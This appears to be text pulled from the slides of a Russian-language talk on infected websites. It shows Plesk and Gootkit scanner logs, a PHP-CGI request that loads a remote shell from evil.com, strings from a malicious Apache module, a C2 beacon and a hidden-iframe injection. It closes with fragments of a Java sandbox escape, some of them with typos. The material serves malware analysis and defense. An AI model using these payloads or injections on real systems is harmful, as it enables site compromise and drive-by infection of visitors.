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 99% пользователей не переходят на заражённые сайты 
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"POST /plesk/client@/domain@/?context=domains  
"GET /plesk/client@3/domain@/?context=domains  
"GET /plesk/client@3/domain@8/hosting/file-manager/edit/?cmd=chdir&file=/ 
"GET /plesk/client@3/domain@8/hosting/file-
manager/edit/?cmd=edit&file=javascript_a1cb3a5978.js  
"POST /plesk/client@3/domain@8/hosting/file-manager/edit/  
"GET /plesk/client@3/domain@8/hosting/file-manager/  
"GET /plesk/client@3/domain@8/hosting/file-manager/edit/?cmd=chdir&file=/ 
"GET /plesk/client@3/domain@8/hosting/file-
manager/edit/?cmd=edit&file=jquery.min.js  
"POST /plesk/client@3/domain@8/hosting/file-manager/edit/  
"GET /plesk/client@3/domain@8/hosting/file-manager/  
"GET /plesk/client@3/domain@8/hosting/file-
manager/edit/?cmd=edit&file=easySlider1.7.js  
"POST /plesk/client@3/domain@8/hosting/file-manager/edit/ 

http://www.parallels.com/ru/products/plesk/ 

http://www.parallels.com/ru/products/plesk/
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site.ru 58.187.172.83 - - [11/Sep/2011:19:41:20 +0400] "GET /3rdparty/pma/ HTTP/1.0" 303 0 "-" "Gootkit 
auto-rooter scanner" 
site.ru 58.187.172.83 - - [11/Sep/2011:19:41:20 +0400] "GET / HTTP/1.0" 200 86177 " -" "Gootkit auto-
rooter scanner" 
site.ru 58.187.172.83 - - [11/Sep/2011:19:41:24 +0400] "GET /3rdparty/pma2005/ HTTP/1.0" 303 0 " -" 
"Gootkit auto-rooter scanner" 
site.ru 58.187.172.83 - - [11/Sep/2011:19:41:24 +0400] "GET / HTTP/1.0" 200 86177 " -" "Gootkit auto-
rooter scanner" 
site.ru 58.187.172.83 - - [11/Sep/2011:19:41:28 +0400] "GET /3rdparty/setup.php HTTP/1.0" 303 0 "-" 
"Gootkit auto-rooter scanner" 
site.ru 58.187.172.83 - - [11/Sep/2011:19:41:29 +0400] "GET / HTTP/1.0" 200 86177 " -" "Gootkit auto-
rooter scanner" 
site.ru 58.187.172.83 - - [11/Sep/2011:19:41:39 +0400] "GET /~/admin/ HTTP/1.0" 403 321 " -" "Gootkit 
auto-rooter scanner" 
site.ru 58.187.172.83 - - [11/Sep/2011:19:41:40 +0400] "GET /admin/ HTTP/1.0" 303 0 " -" "Gootkit auto-
rooter scanner" 
site.ru 58.187.172.83 - - [11/Sep/2011:19:41:40 +0400] "GET / HTTP/1.0" 200 86177 " -" "Gootkit auto-
rooter scanner" 
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POST /?-dallow_url_include%3don+-
dauto_prepend_file+http%3A%2F%2Fevil.com%2Fshe
ll.txt HTTP/1.1 

allow_url_include=on 
safe_mode=Off 
disable_functions=NULL 
auto_prepend_file http://evil.com/shell.txt 

~ php.ini 
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http://blog.unmaskparasites.com 

http://blog.unmaskparasites.com/
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C_ARRAY_BAN_USERAGENT 

C_ARRAY_BLACKLIST_URI 

_CHECK_SITE_KERNEL 

_CHECK_REFERER_IS_HOST 

base64decode 

xor_decrypt_string 

_GEN_FILENAME_BLACKLIST 

_CHECK_REFERER_IS_SEO 

SIZE_ARRAY_SE_REFERER 

_CHECK_BOT_USERAGENT 

SIZE_ARRAY_BAN_USERAGENT 

_ADD_TO_BLACKLIST 

_CHECK_SITE_ADMIN 

SIZE_ARRAY_BLACKLIST_URI 

CLIENT_IP 

_INJECT_UPDATE 

$ strings mod_spm_headers.so 
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http://pastebin.com/6wWVsstj 

http://pastebin.com/6wWVsstj
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GgsWWB8VCQEBUk8IHw0OGBFUAkwaUB0LHwgEBAsCWxEPFwMNBRkBV0E

cCAIYW11cV1hUABVfTBUfHV5BUEhZVhwZDU1YQxIEFAgJX1BRAAUXUA4IDRI

DUEYUExkPHQ1YFk9aUAgWHwUBBFAeFg9cUgUQGBFKQkscABkJCA0CAgIX

HwReAhYLTk8MWTU2KgAFOzBJICA5GD8pA1FDUBoNCBUYUEZZVEBPRAQE

GQoMGFxSX1dfQ05RSwUHAgwJCV9MQgAFF04QGRE= 

POST http://updatekernel.org/ HTTP/1.1 

Host: updatekernel.org 

Content-Type: application/x-www-form-urlencoded 

Content-Length: 29 

 

c=1&version=2012.08.07&uname= 

{{{<style>.fka68f { position:absolute; left:-1038px; top:-1619px} </style> <div 

class="fka68f"><iframe src="http://cpnlooks.org/?a=YWZmaWQ9MDUyODg=" 

width="286" height="249"></iframe></div>}}} 

base64 -> xor 



24 



25 

DrWeb: Linux.Iframe.1 

Sophos: Troj/Apmod-C 

TrendMicro-HouseCall: TROJ_GEN 

 

Detection ratio: 3/42 
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Kaspersky: Backdoor.FreeBSD.Papach.a 

Detection ratio: 1/42 
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Kaspersky: Backdoor.Linux.Maldyr.a 

Detection ratio: 1/42 
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java.beans.Statement 

public class Statement { 

 

... 

 

private frinal AccessControlContext acc = 

AccessController.getContext();   

 

... 

 

} 
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sun.awt.SunToolkit.getField(classNname, fieldName) {    

… 

doPrivileged(){  

       field = getDeclaredFeild(fildName) 

       field.setAccessible(true); 

       return field; 

       } 

… 

} 
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java.beans.Expression 

 

Expression.execute 

  Statement.invokeInternal 

     Statement.getMethod  

        MethodFinder.findMethod 

 

com.sun.beans.finder.MethodFinder.findMethod  

   ... 

   return Class.forName(name); 
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http://safesearch.ya.ru/
http://help.yandex.ru/webmaster/?id=1059440
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http://legal.yandex.ru/yandex_sb_api/



